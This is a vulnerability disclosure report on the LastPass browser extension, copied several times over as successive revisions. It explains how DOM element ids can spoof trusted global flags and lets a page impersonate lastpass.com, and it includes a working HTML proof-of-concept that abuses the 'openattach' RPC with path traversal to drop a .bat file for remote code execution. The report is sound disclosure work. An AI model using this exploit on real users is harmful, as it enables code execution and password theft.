A major part of the LastPass password manager are content scripts, additional privileged javascript that is injected into pages and can change or monitor pages. LastPass use these content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privileges that the page they're injected into is a concept called "isolated worlds", this means that while they share the same DOM, things like variables and functions are not shared. Without isolated worlds, unprivileged pages could change the variables and functions of content scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.loction.hash + 1)
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so we can do this:
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined" && trusted) {
eval(window.loction.hash + 1)
}
});
The answer is yes, we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and element ids become properties of window! So the example script above is *insecure*.
https://html.spec.whatwg.org/#named-access-on-the-window-object
An exploit would simply look like this:
<exploit id="trusted" />
Now window.trusted is not undefined, and we can take over the privileged content script. It looks like LastPass did not know that this was the case, because it's a common code pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in the LastPass code, with hundreds and hundreds of examples. Unfortunately, this will require a considerable cleanup effort to find all cases where they trust global properties unsafely.
Unfortunately, because untrusted websites can can influence a bunch of settings in LastPass, it is very easy to turn this into remote code execution. Please note that I've created one example, but there are hundreds of places where attackers can influence the LastPass extension that need to be cleaned up.
**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire - it is not necessary to rush out an incomplete patch!
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicated with the extension through a <forms> with the special name "lpwebsiteeventform", here is the code that handles that:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined! g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make them defined, but you can't really make them useful strings. E.g.:
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
undefined
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and that is not a valid URL. CutomElements and classes won't work across worlds either, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way. Well, there is one exception! HTMLAnchorElement.toString() works differently!
> el = document.createElement("a")
> <a></a>
> el.setAttribute("href", "//hello")
> undefined
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and just do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="text" name="username">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<input type="submit">
<form>
</body>
</html>
I uploaded the demo here: (The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
This bug is subject to a 90 day disclosure deadline. After 90 days elapseor a patch has been made broadly available, the bug report will becomevisible to the public.
Windows 10-2017-03-25-12-03-46.png
143 KB
ViewDownload
A major part of the LastPass password manager are content scripts, additional privileged javascript that is injected into pages and can change or monitor them. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". Isolated worlds share the same DOM, but other things like variables and functions are not shared.
Without isolated worlds, unprivileged pages could change the variables and functions of higher privileged scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.loction.hash + 1)
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so we can do this:
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined") {
eval(window.loction.hash + 1)
}
});
The answer is yes, we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and element ids become properties of window.
https://html.spec.whatwg.org/#named-access-on-the-window-object
So the example script above is *insecure*, an exploit would simply look like this:
<exploit id="trusted" />
Now window.trusted is not undefined, and we can take over the privileged content script.
It looks like LastPass did not know that this was the case, because it's a common code pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in the LastPass code, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.
Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence the LastPass extension that need to be cleaned up.
**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire - it is not necessary to rush out an incomplete patch!
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".
Here is the code that handles that, from onloadwff.js:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!
g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make them defined, but you can't really make them useful strings, they will always have the value "[object SomeHtmlElement]". We can create ES customElements or extend HTMLElement, but this wouldn't be reflected on other isolated worlds.
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
undefined
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds. All elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way. Well, there is one exception! HTMLAnchorElement.toString() works differently! 🙂
> el = document.createElement("a")
> <a></a>
> el.setAttribute("href", "//hello")
> undefined
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="text" name="username">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<input type="submit">
<form>
</body>
</html>
I uploaded the demo here, it's also attached for reference:
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Windows 10-2017-03-25-12-03-46.png
143 KB
ViewDownload
A major part of the LastPass password manager is content scripts, additional privileged javascript that is injected into pages and can change or monitor content. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". An isolated world is a javascript execution environment that shares the same DOM as other worlds, but things like variables and functions are not shared.
Without isolated worlds, unprivileged pages could interfere with higher privileged scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.loction.hash + 1)
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so couldn't we just do this?:
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined") {
eval(window.loction.hash + 1)
}
});
The answer is that we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and DOM element ids automatically become properties of window.
https://html.spec.whatwg.org/#named-access-on-the-window-object
This means that the example script above is *insecure*, an exploit would simply look like this:
<exploit id="trusted" />
Now window.trusted is not undefined, and we can take over the privileged content script.
It looks like LastPass did not know that this was the case, because it's a common pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in LastPass, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.
Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence codepaths in the LastPass extension that need to be cleaned up.
**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire.
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".
Here is the code that handles that, from onloadwff.js:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!
g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make base_url defined, but you can't make base_url.toString() contain anything useful, it will always have the value "[object SomeHtmlElement]". Even if we create ES customElements or make a class that extends HTMLElement, that wouldn't be reflected on other isolated worlds.
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way.
Well....there is one exception! HTMLAnchorElement.toString() works differently! 🙂
> el = document.createElement("a")
<a></a>
> el.setAttribute("href", "//hello")
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="text" name="username">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<input type="submit">
<form>
</body>
</html>
I uploaded the demo here, it's also attached for reference:
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Windows 10-2017-03-25-12-03-46.png
143 KB
ViewDownload
A major part of the LastPass password manager is content scripts, additional privileged javascript that is injected into pages and can change or monitor content. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". An isolated world is a javascript execution environment that shares the same DOM as other worlds, but things like variables and functions are not shared.
Without isolated worlds, unprivileged pages could interfere with higher privileged scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.loction.hash + 1)
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so couldn't we just do this?:
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined") {
eval(window.loction.hash + 1)
}
});
The answer is that we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and DOM element ids automatically become properties of window.
https://html.spec.whatwg.org/#named-access-on-the-window-object
This means that the example script above is *insecure*, an exploit would simply look like this:
<exploit id="trusted" />
Now window.trusted is not undefined, and we can take over the privileged content script.
It looks like LastPass did not know that this was the case, because it's a common pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in LastPass, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.
Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence codepaths in the LastPass extension that need to be cleaned up.
**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire.
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".
Here is the code that handles that, from onloadwff.js:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!
g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make base_url defined, but you can't make base_url.toString() contain anything useful, it will always have the value "[object SomeHtmlElement]". Even if we create ES customElements or make a class that extends HTMLElement, that wouldn't be reflected on other isolated worlds.
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way.
Well....there is one exception! HTMLAnchorElement.toString() works differently! 🙂
> el = document.createElement("a")
<a></a>
> el.setAttribute("href", "//hello")
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<form>
</body>
</html>
I uploaded the demo here, it's also attached for reference:
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Windows 10-2017-03-25-12-03-46.png
143 KB
ViewDownload
A major part of the LastPass password manager is content scripts, additional privileged javascript that is injected into pages and can change or monitor content. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". An isolated world is a javascript execution environment that shares the same DOM as other worlds, but things like variables and functions are not shared.
Without isolated worlds, unprivileged pages could interfere with higher privileged scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.loction.hash.substr(1))
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so couldn't we just do this?:
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined") {
eval(window.loction.hash.substr(1))
}
});
The answer is that we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and DOM element ids automatically become properties of window.
https://html.spec.whatwg.org/#named-access-on-the-window-object
This means that the example script above is *insecure*, an exploit would simply look like this:
<exploit id="trusted" />
Now window.trusted is not undefined, and we can take over the privileged content script.
It looks like LastPass did not know that this was the case, because it's a common pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in LastPass, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.
Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence codepaths in the LastPass extension that need to be cleaned up.
**********************
